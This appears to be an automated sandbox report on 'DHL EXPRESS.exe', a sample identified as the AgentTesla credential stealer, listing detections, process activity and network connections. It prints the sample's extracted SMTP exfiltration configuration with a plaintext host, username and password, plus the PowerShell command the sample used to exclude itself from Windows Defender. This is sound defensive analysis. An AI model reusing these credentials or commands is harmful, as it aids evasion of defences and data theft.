Edit tour

Windows Analysis Report
DHL EXPRESS.exe

Overview

General Information

Sample name:	DHL EXPRESS.exe
Analysis ID:	1406921
MD5:	6332bbf44f5daa55fe57afb039de26ee
SHA1:	97cec15bc621a6b8c30a2cb77b83080ae680a8c1
SHA256:	8e4ee1b523d32df5392c23739dfa07a4c3b494bcd801702eda9448efb2188452
Tags:	DHLexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Yara detected AgentTesla

Adds a directory exclusion to Windows Defender

Check if machine is in data center or colocation facility

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many ports of the same IP (likely port scanning)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Disables UAC (registry)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Outbound Kerberos Connection

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: Suspicious Outbound SMTP Connections

Tries to load missing DLLs

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

DHL EXPRESS.exe (PID: 7564 cmdline: C:\Users\user\Desktop\DHL EXPRESS.exe MD5: 6332BBF44F5DAA55FE57AFB039DE26EE)

powershell.exe (PID: 42520 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 42528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 42552 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 42620 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe MD5: 9D352BC46709F0CB5EC974633A0C3C94)

WerFault.exe (PID: 42824 cmdline: C:\Windows\system32\WerFault.exe -u -p 7564 -s 78008 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Host": "webmail.startupsinhubs.com", "Username": "support@startupsinhubs.com", "Password": "@dAt9NPXAV^*"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.2628785588.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2628785588.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2638363384.0000000002EDD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2638363384.0000000002EB5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2638363384.0000000002EB5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 42552	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 42552	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34213:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34285:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3430f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x343a1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3440b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3447d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34513:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x345a3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548

Sigma Signatures

System Summary

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems): Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: C:\Users\user\Desktop\DHL EXPRESS.exe, ParentImage: C:\Users\user\Desktop\DHL EXPRESS.exe, ParentProcessId: 7564, ParentProcessName: DHL EXPRESS.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe, ProcessId: 42552, ProcessName: RegSvcs.exe

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Source: Network Connection

Author: Markus Neis: Data: DestinationIp: 119.91.214.119, DestinationIsIpv6: false, DestinationPort: 3389, EventID: 3, Image: C:\Users\user\Desktop\DHL EXPRESS.exe, Initiated: true, ProcessId: 7564, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 51313

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.201, DestinationIsIpv6: false, DestinationPort: 4444, EventID: 3, Image: C:\Users\user\Desktop\DHL EXPRESS.exe, Initiated: true, ProcessId: 7564, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49873

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\Desktop\DHL EXPRESS.exe, ParentImage: C:\Users\user\Desktop\DHL EXPRESS.exe, ParentProcessId: 7564, ParentProcessName: DHL EXPRESS.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force, ProcessId: 42520, ProcessName: powershell.exe

Sigma detected: Suspicious Outbound Kerberos Connection

Source: Network Connection

Author: Ilyas Ochkov, oscd.community: Data: DestinationIp: 5.161.103.41, DestinationIsIpv6: false, DestinationPort: 88, EventID: 3, Image: C:\Users\user\Desktop\DHL EXPRESS.exe, Initiated: true, ProcessId: 7564, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 51979

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 103.186.8.162, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Users\user\Desktop\DHL EXPRESS.exe, Initiated: true, ProcessId: 7564, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49713

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Users\user\Desktop\DHL EXPRESS.exe, QueryName: api.ipify.org

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 160.248.80.91, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\DHL EXPRESS.exe, Initiated: true, ProcessId: 7564, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49720

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\Desktop\DHL EXPRESS.exe, ParentImage: C:\Users\user\Desktop\DHL EXPRESS.exe, ParentProcessId: 7564, ParentProcessName: DHL EXPRESS.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force, ProcessId: 42520, ProcessName: powershell.exe

Snort Signatures

ETPRO TROJAN Observed Hello2Malware Domain in TLS SNI - Source IP: 192.168.2.8 - Destination IP: 104.21.54.158

Timestamp:	03/11/24-18:36:51.510551
SID:	2856466
Source Port:	54051
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN DNS Query to Hello2Malware Domain - Source IP: 192.168.2.8 - Destination IP: 1.1.1.1

Timestamp:	03/11/24-18:36:51.280095
SID:	2856463
Source Port:	59242
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: DHL EXPRESS.exe

Avira: detected

Found malware configuration

Source: 6.2.RegSvcs.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Host": "webmail.startupsinhubs.com", "Username": "support@startupsinhubs.com", "Password": "@dAt9NPXAV^*"}

Machine Learning detection for sample

Source: DHL EXPRESS.exe

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 140.82.114.4:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.8:51190 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.54.158:443 -> 192.168.2.8:54051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.8:55337 version: TLS 1.2

Source: DHL EXPRESS.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856463 ETPRO TROJAN DNS Query to Hello2Malware Domain 192.168.2.8:59242 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2856466 ETPRO TROJAN Observed Hello2Malware Domain in TLS SNI 192.168.2.8:54051 -> 104.21.54.158:443

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic	TCP traffic: Count: 11 IPs: 212.110.188.222,212.110.188.189,212.110.188.211,212.110.188.213,212.110.188.202,212.110.188.198,212.110.188.220,212.110.188.193,212.110.188.195,212.110.188.216,212.110.188.207
Source: global traffic	TCP traffic: Count: 12 IPs: 103.47.93.236,103.47.93.225,103.47.93.219,103.47.93.216,103.47.93.194,103.47.93.25,103.47.93.221,103.47.93.210,103.47.93.242,103.47.93.231,103.47.93.220,103.47.93.252
Source: global traffic	TCP traffic: Count: 15 IPs: 188.132.222.171,188.132.222.194,188.132.222.141,188.132.222.7,188.132.222.167,188.132.222.9,188.132.222.3,188.132.222.52,188.132.222.5,188.132.222.40,188.132.222.51,188.132.222.39,188.132.222.38,188.132.222.12,188.132.222.14
Source: global traffic	TCP traffic: Count: 10 IPs: 72.10.160.170,72.10.160.91,72.10.160.90,72.10.160.174,72.10.160.173,72.10.160.172,72.10.160.171,72.10.160.93,72.10.160.92,72.10.160.94
Source: global traffic	TCP traffic: Count: 10 IPs: 184.178.172.13,184.178.172.23,184.178.172.26,184.178.172.14,184.178.172.25,184.178.172.17,184.178.172.28,184.178.172.3,184.178.172.5,184.178.172.18

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 103.216.51.36 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 62.171.131.101 ports 41055,25847,44827,29497,2,4,5,7,8
Source: global traffic	TCP traffic: 45.11.95.166 ports 6012,6014,6003,6002,6005,6004,6015,0,1,4,6,6009,6008
Source: global traffic	TCP traffic: 173.212.209.216 ports 27138,1,2,3,7,8
Source: global traffic	TCP traffic: 45.11.95.165 ports 6010,6012,5034,5045,5212,5036,5213,5040,1,2,5,5038,5214,5039,5219
Source: global traffic	TCP traffic: 207.180.234.220 ports 45876,48963,39323,42823,36946,3,6,7,39737,37736
Source: global traffic	TCP traffic: 67.213.210.118 ports 2,58703,4,5,9,54924
Source: global traffic	TCP traffic: 132.148.245.247 ports 7183,1,60349,3,26295,7,8
Source: global traffic	TCP traffic: 107.180.95.177 ports 64731,63951,1,3,5,6,9,7128,1405
Source: global traffic	TCP traffic: 148.72.23.56 ports 42312,36111,3260,0,6,60069,9,4833
Source: global traffic	TCP traffic: 164.92.86.113 ports 64110,63358,62987,57391,1,55651,3,5,7,9,50564,60283
Source: global traffic	TCP traffic: 162.214.102.195 ports 34227,2,56755,3,4,7,60891,50366
Source: global traffic	TCP traffic: 203.96.177.211 ports 12183,43839,3,4,5,55005,8,48553,15901
Source: global traffic	TCP traffic: 107.180.88.173 ports 44568,0,2,5,35774,59820,8,9,36503
Source: global traffic	TCP traffic: 162.241.6.97 ports 41274,46783,44607,59991,45629,0,31794,4,6,50563,7,60651
Source: global traffic	TCP traffic: 72.167.38.7 ports 15410,45650,0,1,2,8,9,19802
Source: global traffic	TCP traffic: 162.241.158.204 ports 63360,41274,46783,44607,59991,1,31794,2,4,52980,50563,7,60651
Source: global traffic	TCP traffic: 37.187.77.58 ports 64494,14470,49507,21861,59870,0,52593,31355,1,3139,7,18936,13412,13574,37920,19767,10710,29380
Source: global traffic	TCP traffic: 92.204.135.37 ports 26927,63462,16591,8623,22942,0,62969,1,58604,5,9,20491,55019,34824,32524,33899
Source: global traffic	TCP traffic: 82.223.121.72 ports 15464,64871,11075,27137,4,5,56002,8,9,4985
Source: global traffic	TCP traffic: 72.10.160.90 ports 18333,29967,23685,29129,29529,1811,2589,24397,10055,17893,29919,21011,9335,29813,3051,29517,0,1,3601,29197,3,5,9,16205,4337,30951
Source: global traffic	TCP traffic: 72.10.160.92 ports 28709,5123,5,26077,7,5775
Source: global traffic	TCP traffic: 72.10.160.170 ports 5385,5321,26887,29585,3,31571,28257,5,8,3801
Source: global traffic	TCP traffic: 72.10.160.173 ports 0,1,1795,6,7,10677
Source: global traffic	TCP traffic: 72.10.160.171 ports 2881,26315,1,2,3,31571,5,6,5369
Source: global traffic	TCP traffic: 62.182.114.164 ports 2,3,5,6,59623,9
Source: global traffic	TCP traffic: 51.222.241.157 ports 40351,22538,44029,51718,36363,27206,0,1,3,4,5,30011,2563,46286
Source: global traffic	TCP traffic: 162.214.90.49 ports 51918,0,4,5,58740,7,8,46430
Source: global traffic	TCP traffic: 128.199.221.91 ports 7176,49865,8004,33383,21605,4,5,6,8,9
Source: global traffic	TCP traffic: 160.248.80.91 ports 8080,2525,587,5,7,8,80
Source: global traffic	TCP traffic: 191.103.219.225 ports 48612,1,2,4,6,8
Source: global traffic	TCP traffic: 163.172.131.178 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 167.172.109.12 ports 39452,46249,39533,37355,40825,3,5,7,41491
Source: global traffic	TCP traffic: 88.211.85.169 ports 42931,1,2,3,4,9
Source: global traffic	TCP traffic: 107.180.88.41 ports 37597,62578,24834,2,3,4,58037,57642,8
Source: global traffic	TCP traffic: 162.214.227.68 ports 43435,48414,63112,45540,34071,55392,0,1,3,4,55029,31042,60433,7,54047,56796,31825,37976,51923,52208
Source: global traffic	TCP traffic: 148.72.206.84 ports 2536,2,3,5,6,58842
Source: global traffic	TCP traffic: 207.180.198.241 ports 42581,37443,45718,1,2,57327,4,60148,5,8,17228,37209
Source: global traffic	TCP traffic: 161.97.163.52 ports 64120,9045,18693,40301,32092,64109,0,30189,1,2,1798,31125,4,22040,34586,6,29631,55109,34916
Source: global traffic	TCP traffic: 162.241.137.197 ports 0,2,34455,6,60200,36534,61041
Source: global traffic	TCP traffic: 91.142.222.84 ports 22735,57041,2,3,5,7,12266,55718
Source: global traffic	TCP traffic: 103.28.121.58 ports 1,2,3,3128,8,80
Source: global traffic	TCP traffic: 83.151.4.172 ports 47036,0,3,4,6,7
Source: global traffic	TCP traffic: 41.33.203.115 ports 1,1974,1973,4,7,9
Source: global traffic	TCP traffic: 131.0.87.225 ports 0,1,2,5,7,52017
Source: global traffic	TCP traffic: 98.162.25.29 ports 1,3,6,7,9,31679
Source: global traffic	TCP traffic: 51.158.77.220 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.214.225.223 ports 37581,54917,43435,63452,49227,43265,49806,34071,58240,40536,0,36129,53340,4,55029,6,8,9,50753,39824
Source: global traffic	TCP traffic: 51.222.241.8 ports 36219,1,2,62916,6,9
Source: global traffic	TCP traffic: 103.35.189.217 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 41.217.220.214 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 86.110.189.118 ports 42539,2,3,4,5,9
Source: global traffic	TCP traffic: 162.241.50.179 ports 49858,40179,34099,3,6,7,8,48156,37876,53755,31414,35948
Source: global traffic	TCP traffic: 51.158.108.134 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 163.172.137.49 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 51.158.124.167 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 103.212.93.241 ports 45639,3,4,5,6,9
Source: global traffic	TCP traffic: 108.181.132.117 ports 34560,0,3,4,5,6
Source: global traffic	TCP traffic: 146.59.18.246 ports 9755,15860,40975,25810,0,30673,4,5,7,9,49871
Source: global traffic	TCP traffic: 148.66.130.53 ports 8268,31907,7830,56350,23998,0,3,5,6,47891,13305,54209
Source: global traffic	TCP traffic: 50.63.12.33 ports 9367,23859,0,2,25492,14738,4,50781,5,22450
Source: global traffic	TCP traffic: 51.158.108.165 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 51.89.173.40 ports 17982,27887,3100,44719,26545,23313,54570,23854,20435,1,30199,55198,60775,5,8,51511,9,11058,31724
Source: global traffic	TCP traffic: 206.189.145.23 ports 49614,63625,59867,1,4,6,9
Source: global traffic	TCP traffic: 167.86.102.169 ports 1,2,3,6,8,16823
Source: global traffic	TCP traffic: 147.75.92.251 ports 9401,0,1,4,9,10010,10089
Source: global traffic	TCP traffic: 159.223.71.71 ports 59243,56581,59098,2,3,4,61818,59159,52542,5,51187,60377,9,51616
Source: global traffic	TCP traffic: 34.93.157.87 ports 21802,0,1,2,8,8514
Source: global traffic	TCP traffic: 146.59.147.11 ports 62801,0,1,2,6,8
Source: global traffic	TCP traffic: 213.136.79.177 ports 38772,5189,64556,32930,2,3,35358,7,8,13675
Source: global traffic	TCP traffic: 217.52.247.86 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 45.77.111.135 ports 15082,0,1,2,5,8
Source: global traffic	TCP traffic: 38.54.95.19 ports 8060,0,3128,9080,8,9
Source: global traffic	TCP traffic: 109.75.34.152 ports 59341,1,3,4,5,9
Source: global traffic	TCP traffic: 162.214.121.173 ports 64579,44826,35183,4,5,6,33572,7,9,52577,64382
Source: global traffic	TCP traffic: 20.24.43.214 ports 8123,1,2,3,8,80
Source: global traffic	TCP traffic: 202.40.181.220 ports 1,2,31247,3,4,7
Source: global traffic	TCP traffic: 92.205.61.38 ports 21286,4300,36073,1,2,24183,3,4,8
Source: global traffic	TCP traffic: 162.241.46.40 ports 64353,49401,56241,61579,0,1,4,9,46097
Source: global traffic	TCP traffic: 46.105.44.29 ports 64523,2,3,4,5,6
Source: global traffic	TCP traffic: 195.154.43.184 ports 19058,0,1,5,8,9
Source: global traffic	TCP traffic: 64.227.108.182 ports 14287,1,2,4,7,8
Source: global traffic	TCP traffic: 41.65.55.10 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 208.109.14.49 ports 46047,37377,22881,1,2,50540,8,42072
Source: global traffic	TCP traffic: 5.252.23.249 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 38.54.116.9 ports 8080,1,2,3,3128,8,8118
Source: global traffic	TCP traffic: 45.117.179.179 ports 6522,14791,27836,2,35942,5,6,55606
Source: global traffic	TCP traffic: 203.161.32.242 ports 61070,0,4,5,6,50640,52903
Source: global traffic	TCP traffic: 104.128.103.32 ports 64312,1,2,3,4,6
Source: global traffic	TCP traffic: 163.172.147.9 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 163.172.165.36 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 132.148.128.88 ports 26606,8595,29745,20317,2,4,5,29313,7,9
Source: global traffic	TCP traffic: 5.252.23.220 ports 1080,1081,0,1,3128,8
Source: global traffic	TCP traffic: 58.234.116.197 ports 8193,8197,1,7,8,80,9
Source: global traffic	TCP traffic: 51.15.234.222 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 94.23.220.136 ports 43751,25256,2,5,6,29295
Source: global traffic	TCP traffic: 162.241.46.6 ports 41442,62244,60708,34172,0,50062,2,53477,5,6,46097
Source: global traffic	TCP traffic: 162.241.53.72 ports 57495,57364,3,4,5,6,7,53755,62192
Source: global traffic	TCP traffic: 162.215.219.157 ports 41697,48117,1,4,7,8
Source: global traffic	TCP traffic: 147.124.212.31 ports 11070,13276,0,1,24230,7,16844,30479,36779,51825
Source: global traffic	TCP traffic: 121.139.218.165 ports 0,1,3,4,9,31409
Source: global traffic	TCP traffic: 216.10.242.18 ports 40571,15881,0,1,4,5,7,30670
Source: global traffic	TCP traffic: 104.238.111.107 ports 5484,5452,45883,3230,26305,23667,56225,30026,4,5,8,53777,7999
Source: global traffic	TCP traffic: 51.158.96.66 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 43.255.113.232 ports 8082,8083,5,8,80,84,85
Source: global traffic	TCP traffic: 103.176.116.171 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 161.97.170.209 ports 24606,1,2,6,9,62291
Source: global traffic	TCP traffic: 51.158.105.107 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 147.75.34.86 ports 0,10008,1,10007,3,10000,80,10003
Source: global traffic	TCP traffic: 104.247.163.246 ports 54094,3825,2,3,5,8
Source: global traffic	TCP traffic: 185.45.194.176 ports 27639,2,3,6,7,9
Source: global traffic	TCP traffic: 92.204.134.38 ports 52929,25825,9375,15393,7785,42571,25675,29718,3,1555,56177,5,54467,28695,7,51123,30747,9
Source: global traffic	TCP traffic: 52.67.10.183 ports 1,2,3,3128,8,80
Source: global traffic	TCP traffic: 128.199.196.31 ports 21049,0,1,2,27102,7,33661,38832,57715
Source: global traffic	TCP traffic: 88.202.230.103 ports 17045,8896,0,1,13638,4,5,7
Source: global traffic	TCP traffic: 51.15.254.129 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.144.36.208 ports 27829,38242,2,3,4,27531,8
Source: global traffic	TCP traffic: 198.23.229.203 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 132.148.245.169 ports 19483,1,3,7,8,38117
Source: global traffic	TCP traffic: 72.167.222.113 ports 12581,2,4,8,4125,9,48892
Source: global traffic	TCP traffic: 67.43.227.228 ports 19599,15079,13141,9039,0,3,26353,9
Source: global traffic	TCP traffic: 67.43.227.227 ports 28723,25127,23973,9053,32445,1,4,2411,7,14751,8811,4711,1959,13537,12723,29095,10049
Source: global traffic	TCP traffic: 67.43.227.226 ports 25639,5791,15143,28847,2,3,5,6,9
Source: global traffic	TCP traffic: 51.79.87.144 ports 41230,8533,22500,41746,0,2,54395,5,18636
Source: global traffic	TCP traffic: 51.68.164.77 ports 16892,2,3,4,8,54504,32824
Source: global traffic	TCP traffic: 159.223.166.21 ports 5078,5199,1372,21898,1,2,3,25154,7,47460
Source: global traffic	TCP traffic: 31.24.44.92 ports 1,2,52173,3,5,7,50687,50109
Source: global traffic	TCP traffic: 67.43.227.230 ports 23685,25491,1,2,4,5,9
Source: global traffic	TCP traffic: 94.131.106.196 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 75.119.145.169 ports 38023,61344,61553,1,3,4,6
Source: global traffic	TCP traffic: 43.155.165.196 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 67.43.228.254 ports 1,2,32221,7,28971,8,9
Source: global traffic	TCP traffic: 67.43.228.253 ports 14493,7853,26323,24279,0,1,26087,14869,3,31033,28993,5633,1807,6879,3933,9827
Source: global traffic	TCP traffic: 67.43.228.252 ports 4495,4,1499,5,28695,9
Source: global traffic	TCP traffic: 67.43.228.251 ports 24279,0,11339,2,26087,6,7,1265,8
Source: global traffic	TCP traffic: 104.248.158.78 ports 47225,62952,61725,2,5,6,9
Source: global traffic	TCP traffic: 119.81.71.27 ports 8123,1,2,3,8,80
Source: global traffic	TCP traffic: 23.95.209.142 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 92.204.136.149 ports 16691,25137,1,16928,6,53035,9
Source: global traffic	TCP traffic: 148.72.209.174 ports 38088,39027,1,64938,2,4,29544,6,39458,2906,16203,4734,12446
Source: global traffic	TCP traffic: 132.148.167.231 ports 46983,3,4,6,8,9
Source: global traffic	TCP traffic: 198.12.255.193 ports 22785,1,2,6,8,6821,51612
Source: global traffic	TCP traffic: 51.161.131.84 ports 63055,25843,43712,0,58612,2,4,49202,9,19987
Source: global traffic	TCP traffic: 117.160.250.163 ports 8080,8081,9990,0,80,9,81,82,9999,8828
